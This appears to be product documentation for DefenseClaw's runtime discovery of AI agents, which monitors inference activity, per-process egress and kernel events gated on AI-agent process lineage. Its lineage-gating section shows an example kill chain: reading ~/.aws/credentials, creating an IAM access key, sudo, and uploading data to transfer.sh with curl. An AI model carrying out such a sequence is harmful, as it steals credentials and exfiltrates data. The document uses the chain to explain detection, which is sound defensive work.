Neither half produces the interesting pair alone. Present but never running is dormant attack surface only discovery sees. Running and egressing but not present is an agent that arrived by a path the inventory does not cover, and only the runtime planes see that.

# A new configuration gets planes A and B. Add --enable-host-plane for Plane C.
defenseclaw agent discovery runtime enable --restart
defenseclaw agent discovery runtime selftest
defenseclaw agent discovery runtime findings

The three planes

PlaneObservesMechanism
A — inference heartbeatSustained CPU in a scriptable runtime, and resident memory large enough to hold model weights/proc on Linux, ps on macOS, Toolhelp32 + GetProcessTimes on Windows
B — shadow egressPer-process socket attribution to a provider, and the DNS answers that name the peer/proc/net + /proc/<pid>/fd, lsof, GetExtendedTcpTable
C — agent actionsKernel process, file, and identity events, gated on AI-agent process lineageEndpoint Security (eslogger); cn_proc + fanotify, or Tetragon on a managed Linux computer that runs it; the Windows Security event log

Plane A only raises a heartbeat inside a scriptable runtime or a known model server. A compiled application burning CPU is a compiled application burning CPU, and scoring every busy process would make the signal worthless.

Plane B reads argv, which the inventory scanner deliberately does not collect. That is the whole reason it exists as a separate surface: the inventory's process detector matches executable basenames, so an agent framework running inside a bare python3 is invisible to it.

The runtime planes read more than the inventory does

argv is collected, and it is classified as content on the wire — each destination's redaction profile governs whether it leaves the host. Provider hostnames are content for the same reason. Environment variable values are never read on any runtime path, matching the inventory scanner's names-only rule. Enabling runtime or continuous discovery on a new configuration selects planes A and B; pass --enable-host-plane to add Plane C, which prints a warning. DNS capture remains a separate explicit opt-in.

What each platform actually delivers

Plane C's coverage differs by platform and by privilege, and the sensor reports which parts it has rather than implying it has all of them.

PlatformSourceNeedsDeliversDoes not
macOSEndpoint Security via esloggerroot and Full Disk Accessall six kinds: exec with argv, exit, file read/write on watched paths, and account/privilege events recognised from the exec argument vector—
Linuxcn_proc netlinkCAP_NET_ADMINexec, exit, uid/gid changes. The name and arguments are read from /proc after the event, so a short-lived process can lose themThe executable's path from the start of the process, container identity
LinuxfanotifyCAP_SYS_ADMINfile read/write on watched roots—
Linux, managed enterpriseTetragon, read by the root sensor helperNothing at the gateway. Tetragon's API is root-only, so a per-user install never connects to itExec and exit with the binary, arguments, user and parent recorded in the kernel at the exec; the container a process belongs to. In observe and enforce modes also file opens of credential, persistence and agent-config paths, and connects per binaryWindows and macOS: Tetragon has no agent for either
WindowsSecurity event log (wevtapi)elevated token and Advanced Audit Policyprocess creation and exit, account creation, group changes, privilege assignmentfile events, which need a SACL per audited object

The Linux halves start independently. A host that has CAP_NET_ADMIN but not CAP_SYS_ADMIN gets cn_proc with the file half honestly reported absent, which beats losing the plane to one missing capability — and the snapshot reports it as partially covered rather than complete. A host with neither capability gets neither half, and the snapshot names the capability that is missing. On a managed Linux computer the root sensor helper holds the capabilities, and uses Tetragon when the computer runs it; see Plane C on managed Linux.

Windows has two prerequisites that fail differently and are therefore reported differently: Advanced Audit Policy for the events at all, and the separate command-line policy for argv. Without the second, lineage still works and argument-vector tactics do not.

On Windows the plane reads the Security log from the last record it read, and it reads file and account events before process events. A burst of process starts, such as a scheduled task looping a short command, delays a file write that comes after it by about 30 seconds at most: the write waits for the process events ahead of it, so it can still be traced to the agent whose process made it. A reader that falls behind is listed in degraded_reasons as agent actions partially covered: Security event log reader is behind ... until it catches up. Process events are delayed then, not skipped.

# Windows, elevated: the events themselves
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable

# and, separately, argv on those events
$audit = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
New-Item -Path $audit -Force | Out-Null
Set-ItemProperty -Path $audit -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -Type DWord

What to grant, per OS

Every plane runs without any of this and reports what it cannot see. Granting these is how coverage becomes complete, not how it starts — nothing here is a prerequisite for installing or running.

Ask the host itself rather than reading a table:

defenseclaw agent discovery runtime permissions

It answers before anything is running, which is the point: runtime selftest can only explain a gateway that is already up. Add --os linux|darwin|windows to plan for a platform you are not standing on, or --json to feed a deployment tool.

It can also apply what it finds missing:

defenseclaw agent discovery runtime permissions --grant

Every command is printed before anything runs, and the confirmation is not skippable without --yes. --revert undoes exactly what --grant applied. On Linux that is one setcap on the gateway binary (it includes cap_net_admin for cn_proc); on Windows it is the three audit subcategories plus the command-line policy, which needs an already-elevated prompt. Nothing grants more than the requirement it names — notably there is no blanket SACL on Windows, because auditing every object on a filesystem to catch credential reads creates far more exposure than the detection is worth.

macOS Full Disk Access is the one thing no amount of privilege can automate: TCC does not let any process grant it, to itself or anything else. The command opens the exact settings pane instead, which is the whole of what is achievable. Managed installs skip it via an MDM PPPC profile.

It also checks. Each line reads [granted], [MISSING], or [unknown] for the host you are on, so the output is a list of gaps rather than a list of requirements. [unknown] means this process cannot verify that grant from where it is running — reported as such rather than as missing, because sending an operator to change something already correct is its own kind of wrong answer. Asking about another OS never probes: it would be a confident wrong answer about a machine you are not on.

Unmanaged install — the operator grants these directly

SignalmacOSLinuxWindows
A inference heartbeatnothingnothingnothing for own processes; elevation for all
B egress attributionrootroot or CAP_DAC_READ_SEARCHelevated token
B DNS namingroot, for /dev/bpfCAP_NET_RAWelevated token
C process + identity eventsroot and Full Disk AccessCAP_NET_ADMIN (cn_proc)elevated and Advanced Audit Policy
C file eventsincluded aboveCAP_SYS_ADMIN (fanotify)a SACL per audited object
C command linesincluded aboveincluded abovethe separate command-line audit policy

Three of these are worth calling out because they are the ones that get missed:

macOS Full Disk Access applies to the responsible process — the terminal or daemon that launched the gateway, not the gateway binary. On a managed Mac that is the root sensor helper, defenseclaw-sensor-helper; the macOS enterprise guide has the PPPC payload. Without it, Endpoint Security refuses the client outright even when running as root, and Plane C reports itself stopped with Apple's own message.

Windows argv is a second policy. The audit subcategories turn the events on; ProcessCreationIncludeCmdLine_Enabled turns on the argument vectors inside them. With only the first, lineage works and nearly every tactic silently does not.

Linux Plane C has two independent halves. cn_proc needs CAP_NET_ADMIN: subscribing to the kernel's process connector is a privileged netlink operation, so an unprivileged account gets no process events from it. fanotify needs CAP_SYS_ADMIN. The plane starts on whichever half it can and reports the other absent, rather than failing whole. defenseclaw agent discovery runtime permissions --grant applies both.

Managed enterprise install — the installer arranges these

The gateway is deliberately de-privileged here, so these grants do not go to it:

SettingmacOSLinuxWindows
Gateway runs as_defenseclaw (LaunchDaemon)unprivileged defenseclaw, systemd sandboxwrite-restricted LocalSystem with the gateway service SID
Acquisitionbrokered via defenseclaw-sensor-helperbrokered via defenseclaw-sensor-helperbrokered via defenseclaw-sensor-helper
Who holds the privilegethe helper (root)the helper (root)the helper
Operator still grantsFull Disk Access to the helper, via an MDM PPPC profilenothing — the unit declares its capabilitiesAdvanced Audit Policy and the command-line policy, via GPO

On macOS the gateway runs as _defenseclaw and the root sensor helper does the acquisition; the only outstanding grant is the TCC profile, which names the helper. Linux and Windows use the helper the same way. On Windows the gateway's LocalSystem token is write-restricted, but reads outside user profiles are checked as LocalSystem; it refuses profile paths and its scanner children inherit that token.

Where the privilege lives

Plane C needs to read the kernel. The gateway is the component least entitled to: it is network-facing, so a managed deployment de-privileges it on purpose. On Linux it runs as an unprivileged account inside a systemd sandbox; on Windows it runs as a dedicated virtual service account. On managed macOS it runs as _defenseclaw. On all three, only the sensor helper holds root.

Measured under the shipped Linux unit, a gateway reading directly sees one process and zero connections. ProcSubset=pid removes /proc/net and hides every other process before privilege is even considered, RestrictAddressFamilies blocks AF_NETLINK and AF_PACKET, and the empty CapabilityBoundingSet blocks fanotify.

So acquisition is brokered instead. defenseclaw-sensor-helper holds the privilege, does nothing else, and answers a fixed set of questions:

The helper takes no instruction about what to read. There is no path, filter, pid, glob, or command anywhere in a request — a test asserts the request type's field count so one cannot be added unnoticed. What it watches comes from its own root-owned configuration. A compromised gateway can therefore obtain the process table it would have had anyway, and cannot turn a root process into a general-purpose file reader.

SettingValue
TransportAF_UNIX socket, mode 0660, owned by the gateway's group
Peer check (Linux, macOS)kernel-supplied uid via SO_PEERCRED / LOCAL_PEERCRED, which the peer cannot forge
Peer check (Windows)the socket DACL, refused in-kernel at open
Helper network accessnone — the unit allows AF_UNIX, AF_NETLINK and AF_PACKET only

The gateway brokers through the helper only where it was de-privileged and a helper is therefore installed. It reads directly on an unmanaged workstation, where there is no helper to ask and the honest answer is to read what it can and report the shortfall. The choice is automatic; there is no setting for it.

With the helper running, that same sandboxed Linux gateway reports degraded: false and detects a full credential-access → identity-creation → exfiltration chain, including file reads observed through fanotify — a syscall it cannot itself make.

On Linux the helper is a systemd unit; on Windows it is an SCM service the enterprise installer registers alongside the gateway, which is ordered to start after it so the socket is listening before the planes look for it.

systemctl enable --now defenseclaw-sensor-helper

On managed Windows, use the enterprise lifecycle rather than editing SCM or the socket DACL manually. Setup puts no DefenseClaw command on PATH, so name the installed CLI by its path (in cmd.exe, quote the path with double quotes instead of the & form):

Elevated PowerShell prompt
Get-Service DefenseClawSensorHelper, DefenseClawGateway
& 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows status --json

agent discovery runtime permissions and agent discovery runtime selftest are commands of the per-user CLI; a managed computer does not have them.

If the helper is absent, stopped, or its protected socket cannot be opened, runtime coverage reports degraded rather than silently falling back to a privileged gateway. Stage the approved helper binary and run enterprise repair; see Secure Client managed deployment or Troubleshooting for the standalone profile.

The helper needs CAP_CHOWN alongside the capabilities acquisition uses. It hands the socket to the gateway's group, and without it the socket stays root-owned, the gateway cannot open it, and the helper would otherwise come up reporting success while brokering nothing. The listener verifies the ownership took and refuses to start rather than allow that.

Plane C on managed Linux: Tetragon

If a managed Linux computer already runs Tetragon, the sensor helper reads its events over Tetragon's root-owned Unix socket and uses them as Plane C's process source. That is the default mode (consume), but it works only when Plane C is on: set ai_discovery.runtime.enabled and ai_discovery.runtime.enable_host_plane to true, because Plane C is opt-in (with it off, the Tetragon mode is off). The benefit is accuracy: Tetragon records a process's binary, arguments, user and parent in the kernel at the exec, where cn_proc reads /proc afterwards and loses fast processes, and it marks processes that belong to a container so they are never scored as a host agent. If Tetragon is absent, stopped, listening on TCP or an unsupported version, the same stream falls back to cn_proc and fanotify and says why.

Two further modes, observe and enforce, add DefenseClaw's own policies to that Tetragon. observe records file opens of credential, persistence and agent-configuration paths and connects per binary. enforce lets two fixed controls deny, only after an administrator approves them. Hooks and OpenShell keep their roles; see Agent segmentation, visibility and enforcement. The setup, the readiness check and the pause runbook are on Tetragon on a Linux fleet, and the settings are under enterprise.tetragon.

If you run Tetragon policies of your own on kprobe or LSM hooks, the helper also reports their events when they hit an AI agent (customer_events, on by default in consume, observe and enforce). Each record names the policy, the action, the outcome (observed, would_block or blocked) and the target, and carries the agent, the user and the hook decision it belongs to. Events from outside an agent's process tree are counted per policy and not exported. DefenseClaw never changes, loads or deletes your policies, and these events are not scored as findings.

A per-user (open-source) install never connects to Tetragon: its socket is root-only and grants control of kernel policy. defenseclaw doctor and runtime permissions say so when Tetragon is present, and doctor warns when Tetragon serves its API on a TCP port.

Only a managed Linux gateway reports a Tetragon backend, and the managed Linux packages ship no TUI, and their defenseclaw runs only the commands in Managed command availability (the per-user installer refuses to run on a managed computer). So the TUI Runtime panel, agent discovery runtime status and defenseclaw doctor have no managed Tetragon lines. The administrator's surfaces are the Go commands (sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery, enterprise linux tetragon verify, tetragon status and defenseclaw-gateway status), the telemetry and the agent's own answers.

When the Plane C entry carries a backend, enterprise linux discovery adds lines for it under agent actions:

kernel sensor: Tetragon v1.7.1, enforce, 0 events lost
kernel controls: enforcing 2 of 3 users; 1 in burn-in, next ready ~9 days
your Tetragon policies: 4 loaded (1 enforcing); 12 agent events forwarded (DefenseClaw never changes them)

The second line appears only when DefenseClaw's kernel controls are loaded (observe or enforce), and the third only when Tetragon has policies of yours. "next ready" is calendar time at the user's rate of agent use so far, shown once the burn-in window is a day old. During a pause the second line ends with ; paused until <time>. The third line counts the events of your policies that the gateway recorded below an AI agent since it started, and "over the budget" only the ones the helper did not forward because they went over the volume limit. --json includes the backend. When the number of lost events is not known, the line says so instead of showing zero.

Naming a peer: DNS capture

With dns_capture enabled, an egress peer is named from the answer this host actually resolved rather than inferred from its address. That is a direct observation, which is why it carries full confidence where a PTR record — owned by whoever controls the address, and frequently naming infrastructure rather than the service — does not.

PlatformMechanism
LinuxAF_PACKET with a kernel BPF filter for UDP/53
macOS/dev/bpf with the same filter, in immediate mode
WindowsMicrosoft-Windows-DNS-Client/Operational event 3008

No tcpdump subprocess on any platform, and no third-party capture driver on Windows. A capture that cannot start is degraded coverage rather than fatal: the reverse resolver still names peers, less confidently, and the snapshot says so.

dns_capture is off by default. While it is off (or cannot start), runtime status and selftest show the shadow egress mechanism as, for example, lsof(8); peers named by reverse DNS (dns_capture off), and runtime permissions lists the DNS naming grant as [off] rather than [MISSING]. Turn it on with defenseclaw agent discovery runtime enable --dns-capture. It needs root on macOS (for /dev/bpf) and CAP_NET_RAW on Linux.

Every host-plane signal is gated on agent lineage

Not one Plane C signal fires for a process without an AI agent above it in the process tree. A developer running sudo produces nothing; the same sudo as a descendant of claude produces a signal.

That gate is the primary false-positive control, and it is measurable: every snapshot reports how many observations it classified and how many it discarded for having no agent above them. A control nobody can measure is a control nobody can trust — and a gated count rising while the classified count stays at zero is a different problem from a quiet host.

These tactics are far too ordinary on a developer machine to be worth reporting without an actor attached:

claude ──▶ sh ──▶ cat ~/.aws/credentials          credential_access
       ──▶ sh ──▶ aws iam create-access-key       identity_creation
       ──▶ sh ──▶ sudo …                          privilege_escalation
       ──▶ curl -T - https://transfer.sh/x        exfiltration

Not one of those steps is worth paging on alone, and four separate per-process findings would be four alerts nobody joins up. The sequence is the finding, so a host-plane finding is one per agent session, not one per process — an agent that is a shell script forks children that inherit its identity, and each one rooting itself would reproduce exactly the fragmentation this avoids. No single host-plane tactic reaches high on its own; the chain bonus is awarded only when the session moved through three or more stages in order. An agent that reads a credential and later uploads something has progressed; one that uploads something and much later reads a config file has not.

Correlation with the inventory

Runtime observations are joined against the discovery snapshot in process, so a finding reports whether the inventory can account for it:

VerdictMeaningEffect on the score
accountedDiscovery independently observed the same subjectLocal-inference weights are halved — still inventory, no longer something to chase
unaccountedA complete scan explains none of thisEscalates: sustained inference the filesystem walk cannot explain means the weights are not where a scanner can see them
unobservedThere was no usable inventory to consultNothing. Neither attenuation nor escalation

That last row is the rule the design rests on: unobserved is never spent as evidence or as exoneration. A detector whose numbers fall because another subsystem crashed is reporting "quiet" for "blind". The blindness is still recorded, because not scoring on it is not the same as not saying so.

Attenuation touches only local-inference signals. An inventoried model file on disk says nothing about where a process sent its requests, so it never discounts egress evidence.

Coverage is reported, never implied

A detector reporting clean because it was never able to look is indistinguishable, on a dashboard, from a host that is genuinely clean. So every surface states what it could not see:

defenseclaw agent discovery runtime selftest
  ✓ inference heartbeat: running via /proc
  ✓ shadow egress: running via /proc/net and /proc/<pid>/fd
  ✓ agent actions: running via netlink process connector (cn_proc) only
  processes: 180 read, 0 not fully readable | connections: 14 seen, 9 with no owner
  ⚠ coverage is partial:
    - agent actions partially covered: file events need fanotify, which needs
      CAP_SYS_ADMIN: fanotify_init: operation not permitted
    - 64% of connections could not be attributed to a process. Run the gateway
      with elevated privilege for machine-wide egress attribution.

The privilege asymmetry behind that last line is real. On macOS and Linux the whole process table is readable unprivileged, but the socket-to-pid mapping is readable only for the caller's own processes — so an unprivileged run watches the whole machine compute and only its own share of it talk. Windows is the exception: its connection table carries the owning pid in every row.

Plane C is running here and still incomplete. Partial coverage is reported as partial rather than as either healthy or down, because a plane delivering process events but not file events is missing a whole tactic class, and calling that complete would let an operator read reduced coverage as a clean host.

Plane health is emitted on every cycle, including when a plane is down. If health were reported only while a plane worked, a subscription that died would leave no trace, and absence is the hardest thing to alert on.

Tunable knobs

KnobPurpose
--poll-interval-sSeconds between polls (5–3600). Also the window that distinguishes sustained inference from a momentary CPU spike.
--min-risk-to-reportReporting floor (1–100). Defaults to 30, the medium band.
--enable-host-planeSelect Plane C. New configurations default this off, and omitting the flag keeps the current setting; pass --no-enable-host-plane to turn it off. Listing c in planes without this is ignored.
--dns-captureName peers from the answer the process received rather than inferring from an address. Needs elevated privilege.

Two knobs are config-only, because neither belongs in a one-shot command:

ai_discovery:
  runtime:
    enabled: true
    planes: [a, b, c]
    enable_host_plane: true
    chain_window_min: 60          # how long a session stays open for a chain
    sanctioned_endpoints:         # egress here is expected, not a finding
      - api.corp.example.com

chain_window_min is the window over which stages accumulate into a kill chain. Too short and a patient agent never chains; too long and unrelated activity in the same session joins up. sanctioned_endpoints is where an environment states its own approved providers — matching egress still appears in the plane's output, it stops being scored as unsanctioned.

ai_discovery.runtime.correlate defaults on. Setting it to false removes the inventory read entirely; it does not make findings score as though the inventory disagreed.

Where the data lands

Five log families under the existing ai.discovery bucket, so presence and behaviour share one bucket, one destination policy, and one set of dashboards:

EventCarries
ai.runtime.findingOne scored finding, its evidence trail, and the inventory verdict
ai.runtime.activityOne host-plane tactic, with its MITRE ATT&CK technique and chain stage. Records now name the user and agent identity, the event source (tetragon, cn_proc, fanotify, ...) and, on managed Linux, whether a hook decision matched (hook_seen)
ai.runtime.plane_healthOne running plane per poll cycle. Plane C also reports its backend (tetragon or native), the mechanism, lost events and container events. On managed Linux with Tetragon it adds the fleet fields: the Tetragon version, the helper mode, whether enforce_ack approves this build, the users enrolled, enforced and in burn-in, whether enforcement is paused, and the would-block, blocked and customer-event counts for the cycle
ai.runtime.kernel_policyOne record per change of the Linux kernel controls (a policy loaded, a mode changed, a pause, a user ready or back in burn-in), and one every 6 hours per user in burn-in with the covered and needed hours (uid_progress). Never one per event. Managed Linux with Tetragon only
ai.runtime.kernel_eventOne record per attributed event of your own Tetragon policies (kprobe and LSM) below an AI agent, after repeats are folded: the policy, hook type, function, action, mode, outcome, target and tags, with the agent, the user and the hook join. Managed Linux with Tetragon only; customer_events: off stops them

A running plane emits about one health record per poll cycle (roughly once a minute with the default runtime poll), per enabled destination that routes ai.discovery logs. Unselected or stopped planes emit no recurring health record. Exclude the ai.discovery bucket from a destination route to remove this stream there; this also removes runtime findings and discovery events on that route. Local sensor status still reports every plane.

A degraded cycle is reported with outcome partial rather than completed.

The local observability stack ships defenseclaw-ai-runtime.json, provisioned by defenseclaw setup local-observability up like every other dashboard and cross-linked with AI Discovery. Splunk local mode gets a matching AI Discovery Runtime Planes view. Both put coverage in the first row, before any finding.

TUI and macOS app

The TUI Runtime panel (N) and the macOS app's Runtime panel render the same snapshot. The plane strip is always visible — press p to expand each plane's reason — and coverage sits in the header beside the finding count, because a reader who sees only the count cannot tell a quiet host from a blind sensor. Enter opens a finding, which renders a kill chain as a sequence rather than a set, and always states the inventory verdict including unobserved. Neither shows Tetragon: only a managed Linux gateway reports it, the managed Linux packages ship no TUI (see Plane C on managed Linux), and the macOS app manages only the Mac's own gateway.

See also

All scanning guides and reference: Scanning.